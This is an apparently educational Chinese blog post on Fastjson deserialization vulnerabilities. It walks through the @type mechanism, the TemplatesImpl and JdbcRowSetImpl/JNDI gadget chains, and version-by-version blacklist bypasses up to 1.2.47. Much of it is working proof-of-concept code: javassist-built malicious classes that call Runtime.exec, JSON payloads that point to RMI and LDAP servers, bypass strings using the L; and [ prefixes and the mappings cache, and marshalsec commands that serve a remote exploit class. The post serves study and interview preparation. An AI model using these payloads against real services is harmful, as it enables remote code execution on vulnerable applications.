浅谈fastjson

未分类
2.4k 词

之前面试的时候被问fastjson原理,没答好,现在稍微缝合整理一下,跟参考的大哥们写的文章相比很浅,建议想要学习fastjson漏洞原理的还是看参考部分的文章吧

fastjson

阿里的一个开源java类库,作用是java对象与json字符串的相互转化,即序列化(对象->json)与反序列化

简单使用如下:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.50</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
public class Main {
public static void main(String[] args) {
Person person1 = new Person("crumbling",114514);
String json1 = JSON.toJSONString(person1);
System.out.println(json1);

String json2 = "{\"user_name\":\"crumbling\",\"user_age\":114514}";
Person person2 = JSON.parseObject(json2,Person.class);
System.out.println(person2.getAge()+person2.getName());
}
}
1
2
3
4
5
6
7
8
9
10
11
12
@JSONType(orders = {"name","age"})
public class Person {
@JSONField(name = "user_name")
private String name;
@JSONField(name = "user_age")
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
//get and set
}

使用过程中会调用的内容

parseObject(String text, Class clazz) ,构造⽅法 + setter + 满⾜条件额外的 getter

JSONObject parseObject(String text) ,构造⽅法 + setter + getter + 满⾜条件额外的 getter

parse(String text) ,构造⽅法 + setter + 满⾜条件额外的 getter

对于没有 set ⽅法的 private 成员,反序列化时传递 Feature.SupportNonPublicField 即可完成赋值

@type

fastjson反序列化的漏洞要从@type讲起

@type是一个特殊注解,用于反序列化,效果是标识JSON字符串中的某个属性是一个Java对象的类型,正是这样的功能引起了相关漏洞

直接看具体例子

image-20241007233405153

可以看到java.lang.Runtime这个字符串值被@type标识为了一个java对象,在解析时的结果是java.lang.Runtime@7a5d012c,也就是一个Runtime类的实例对象

1
2
3
4
5
6
7
8
9
public class Main {
public static void main(String[] args) throws IOException {
String json = "{\"@type\":\"java.lang.Runtime\"}";
ParserConfig.getGlobalInstance().addAccept("java.lang");
Runtime runtime = (Runtime) JSON.parseObject(json,Object.class);
runtime.exec("calc.exe");
}
}
//运行环境为java8

上面的这段代码可以利用反序列出来的Runtime实例对象弹个计算器出来

1
2
3
4
5
6
7
public class Main {
public static void main(String[] args) throws IOException {
Person person = new Person("crumbling",18);
String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(json);
}
}

image-20241008104757975

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,具体效果就是给序列化后的json字符串多一个@type标识,如上图所示

漏洞

1.2.22-1.2.24版本中的反序列化漏洞原自两点:

  • @type字段指明反序列化的目标恶意类
  • 如前文所示,fastjson反序列化时,字符串时会⾃动调⽤恶意对象的构造⽅法, setter ⽅法, getter ⽅法等,只要在这些方法里写入利用内容,就可以完成漏洞利用。

TemplatesImpl链

TemplatesImpl(Feature.SupportNonPublicField)利用链

扣来的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.crumbling;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class Main {
public static class test{
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

cc.makeClassInitializer().insertBefore(cmd);

String randomClassName = "crumbling" + System.nanoTime();
cc.setName(randomClassName);

cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'W01h4cker',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

恶意类是一个继承AbstractTransletTest类,通过Test t = new Test();来初始化

javac 编译成字节码,然后对字节码继续进行base64 编码填充POC_bytecodes 字段,这就是TemplatesImpl利用链的弹计算器

分析

json字符串中主要有3个部分影响漏洞

@type 标识了反序列化的恶意⽬标类 TemplatesImplFastJson最终会按照这个类反序列化得到实例

_bytecodes :继承 AbstractTranslet 类的恶意类字节码,使⽤ Base64 编码。

_outputPropertiesTemplatesImpl 反序列化过程中会调⽤ getOutputProperties ⽅法, 导致 bytecodes 字节码成功实例化,造成命令执⾏。

因为上述2个成员变量都是无setprivate变量,所以反序列化的时候要传入 Feature.SupportNonPublicField

整套流程如下,构造一个TemplatesImpl类的反序列化字符串,其中_bytecodes是构造的恶意类,其父类是AbstractTranslet,会被加载并使用newInstance()实例化。在反序列化过程中getOutputProperties()fastjson调用,其过程为getOutputProperties() -> newTransformer()-> getTransletInstance()-> defineTransletClasses() -> EvilClass.newInstance()

JdbcRowSetImpl链

TemplatesImpl 利⽤链因为需要开启 Feature.SupportNonPublicField 选项,所以还是具有较⼤的 限制。而更好的解决⽅案—— JdbcRowSetImpl 利⽤链配合JDNI。

大致思路如下

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.crumbling;

import javax.naming.Context;
import javax.naming.Name;

import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class Exploit implements ObjectFactory, Serializable {
public Exploit() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit exploit = new Exploit();
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) throws Exception {
return null;
}
}

通过 javac 编译得到 Exploit.class ⽂件,将字节码⽂件放到Web⽬录下

1
2
C:\Users\Hacker>python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

POC

1
2
3
4
5
6
7
8
9
10
11
package com.crumbling;

import com.alibaba.fastjson.JSON;

public class POC1_2_24 {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}

开启 RMI 服务器,默认运⾏在 1099 端⼝,并设置返回对象为远程恶意类的引⽤

1
2
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://127.0.0.1:8000/#Exploit

分析

@type :指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl

dataSourceName :指定 RMI / LDAP 恶意服务器,并调⽤ setDataSourceName 函数

autoCommit :调⽤ setAutoCommit 函数。

调用链流程:前文提到反序列化会调用目标类的setter/getter方法,JdbcRowSetImpl链在反序列化时就会调用的类中的setAutoCommit(),其中又会调用connect()方法

connect()方法中有如下内容

1
2
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

其存在JNDI注入,调⽤ lookup 函数,参数可控且为 this.getDataSourceName(),如果这个参数为http://127.0.0.1:8000/Exploit,也就是我们上传的恶意类,那么就可以完成加载利用

黑名单机制

官⽅在1.2.25版本更新中,对1.2.25-1.2.41版本漏洞进⾏了修补。新增了 autoTypeSupport 反序列化选项,并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。

1.2.25版本默认情况下, autoTypeSupport 为 false ,将不⽀持指定类的反序列化,默认使⽤⿊名单 +⽩名单验证。

运行前面的poc,会得到

image-20241008162532802

可以在源码中看到黑名单

image-20241008162437246

再看相对应的check函数checkAutoType

代码比较占篇幅,这边说下逻辑:开启了autoType,先后从白名单黑名单里进行判断,如果在白名单中匹配成功,会直接用TypeUtils.loadClass加载,不会进行后续的黑名单匹配,没开就是反过来;如果黑白名单都没有匹配,那么在开启了autoType或者expectClass不为空,也就是指定Class(?)类才会加载。

image-20241008164652335

有黑名单机制,那就要考虑绕过,checkAutoType本身的逻辑里没看到可绕过的部分,所以继续去loadClass方法里看看

image-20241008170254948

可以看到在第二个else if里写的过滤逻辑,如果类名的字符串以L开头并以;结尾,则需要把开头的L和结尾的;给去掉,然后递归调用loadClass

从源码中可以看到,白名单是默认为空的那么一个比较简单的绕过方法就出来了

2步

  • ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  • 在指定的类名开头加上 L ,结尾加上 ;
1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
public class POC1_2_25 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",
\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}

check逻辑里还有个[开头也会去循环调用然后加载

所以相关绕过payload还有

1
String payload = "{\"a\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/ift2ty\", \"autoCommit\":true}}";

逻辑来看[{的位置应该是,但是会出现报错,提示token相关的问题,所以最后还是要[{

1.2.42绕过

在前一次补丁上再次进行修补

主要改动内容为

  • 类名变成了哈希值,不过已经有了对应的表格LeadroyaL/fastjson-blacklist
  • checkAutoType规则增加image-20241009103300569可以看到他会进行一次首尾的删除

所以只需要双写L;即可继续绕过(根据他循环删除的特性,其实n写也没问题)

1.2.43绕过

Ln写问题彻底解决,但是[的事情还没有搞定

Mybatis利用链

1.2.44-1.2.45前面提到的问题已经被修复

这边参考的2个资料开始分叉,一边利用mappings缓存绕过,一边则是Mybatis

首先是Mybatis

1
2
3
4
5
6
7
public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"prope rties\":{\"data_source\":\"rmi://localhost:1099/Exploit\"}}";
JSON.parse(PoC);
}
}

主要是会去调用POC中传递 properties 成员会调⽤ setProperties ,这里面也调用了lookup函数

image-20241009105526685

data_source传入恶意RMI地址,完成加载利用

利用mappings缓存绕过

1.2.46开始Mybatis的也没了

1.2.47

扣个payload

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\",\"autoCommit\":true}}";
JSONObject.parse(payload);
}
}

原理同样出现在checkAutoType,其在不开启autoType的情况下通过利用链将数据放入缓存mappings中,在后续会直接从缓存里取,而不需要进行检验

1.2.48绕过

1.2.48开始缓存有关的内容已经被修复了

1.2.48-1.2.67

针对黑名单的绕过为主,需要存在有其他组件

1.2.68绕过

感觉1.2.68开始这些版本都比较新,后续慢慢总结吧

更新了safeMode,如果开启了safeMode autoType会被完全禁止,绕过的核心是传入checkAutoType的参数expectClass

image-20241012163209146

在前文fastjson的简单使用中Person.class即为expectClass

1
Person person2 = JSON.parseObject(json2,Person.class)

条件如下:

expectClass为空:

  1. typeNmae不在denyHashCodes黑名单中(必须条件)
  2. SafeModefalse(必要条件,默认为false)
  3. typeNameTypeUtils#mappings中且expectClass为空且typeName不为HashMap且不为 expectClass子类

expectClass不为空:

  1. typeNmaeexpectClass均不在denyHashCodes黑名单中(必须条件)
  2. autoTypeSupportfalse(默认为false)
  3. expectClassTypeUtils#mappings
  4. typeName不是ClassLoaderDataSourceRowSet的子类
  5. expectClass不为null,且不为Object.classSerializable.classCloneable.classCloseable.classEventListener.classIterable.classCollection.class
  6. typeNameexpectClass的子类

参考

知识星球代码审计

W01fh4cker/LearnFastjsonVulnFromZero-Basic